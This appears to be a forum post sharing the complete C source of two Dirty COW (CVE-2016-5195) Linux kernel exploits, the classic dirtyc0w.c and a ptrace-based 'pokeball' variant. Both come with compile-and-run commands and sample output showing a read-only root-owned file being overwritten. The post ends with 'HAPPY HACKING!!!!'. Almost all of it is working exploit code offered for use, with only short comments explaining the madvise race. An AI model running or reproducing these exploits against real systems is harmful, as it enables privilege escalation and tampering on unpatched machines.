XN0PNEWS:: DIRTY COW LINUX ROOT EXPLOIT (CVE-2016-5195) with source code ::XN0PNEWS

in #security8 years ago (edited)

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;

/*####################### pokeball.c ######################*/
// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h>                        //// pikachu
#include <pthread.h>                      //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h>                       //// pokeball
#include <stdio.h>                        ////    (___)
#include <stdint.h>                       ////    (o o)_____/
#include <sys/mman.h>                     ////     @@ `     \ 
#include <sys/stat.h>                     ////      \ ____, /miltank
#include <sys/types.h>                    ////      //    //
#include <sys/wait.h>                     ////     ^^    ^^
#include <sys/ptrace.h>                   //// mmap bc757000
#include <unistd.h>                       //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f                                      ;// file descriptor
void *map                                  ;// memory map
pid_t pid                                  ;// process id
pthread_t pth                              ;// thread
struct stat st                             ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg)             {// madvise thread
  int i,c=0                                ;// counters
  for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
    c+=madvise(map,100,MADV_DONTNEED)      ;// race condition
  printf("madvise %d\n\n",c)               ;// sum of errors
                                           }// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[])            {// entrypoint
  if(argc<3)return 1                       ;// ./d file contents
  printf("%s                               \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", argv[1], argv[2])                       ;// dirty cow
  f=open(argv[1],O_RDONLY)                 ;// open read only file
  fstat(f,&st)                             ;// stat the fd
  map=mmap(NULL                            ,// mmap the file
           st.st_size+sizeof(long)         ,// size is filesize plus padding
           PROT_READ                       ,// read-only
           MAP_PRIVATE                     ,// private mapping for cow
           f                               ,// file descriptor
           0)                              ;// zero
  printf("mmap %x\n\n",map)                ;// sum of error code
  pid=fork()                               ;// fork process
  if(pid)                                  {// if parent
    waitpid(pid,NULL,0)                    ;// wait for child
    int u,i,o,c=0,l=strlen(argv[2])        ;// util vars (l=length)
    for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
      for(o=0;o<l;o++)//////////////////////// repeat for each byte
        for(u=0;u<10000;u++)////////////////// try 10K times each time
          c+=ptrace(PTRACE_POKETEXT        ,// inject into memory
                    pid                    ,// process id
                    map+o                  ,// address
                    *((long*)(argv[2]+o))) ;// value
    printf("ptrace %d\n\n",c)              ;// sum of error code
                                           }// otherwise
  else                                     {// child
    pthread_create(&pth                    ,// create new thread
                   NULL                    ,// null
                   madviseThread           ,// run madviseThred
                   NULL)                   ;// null
    ptrace(PTRACE_TRACEME)                 ;// stat ptrace on child
    kill(getpid(),SIGSTOP)                 ;// signal parent
    pthread_join(pth,NULL)                 ;// wait for thread
                                           }// / child
  return 0                                 ;// return
                                           }// / entrypoint
//////////////////////////////////////////////


HAPPY HACKING!!!!

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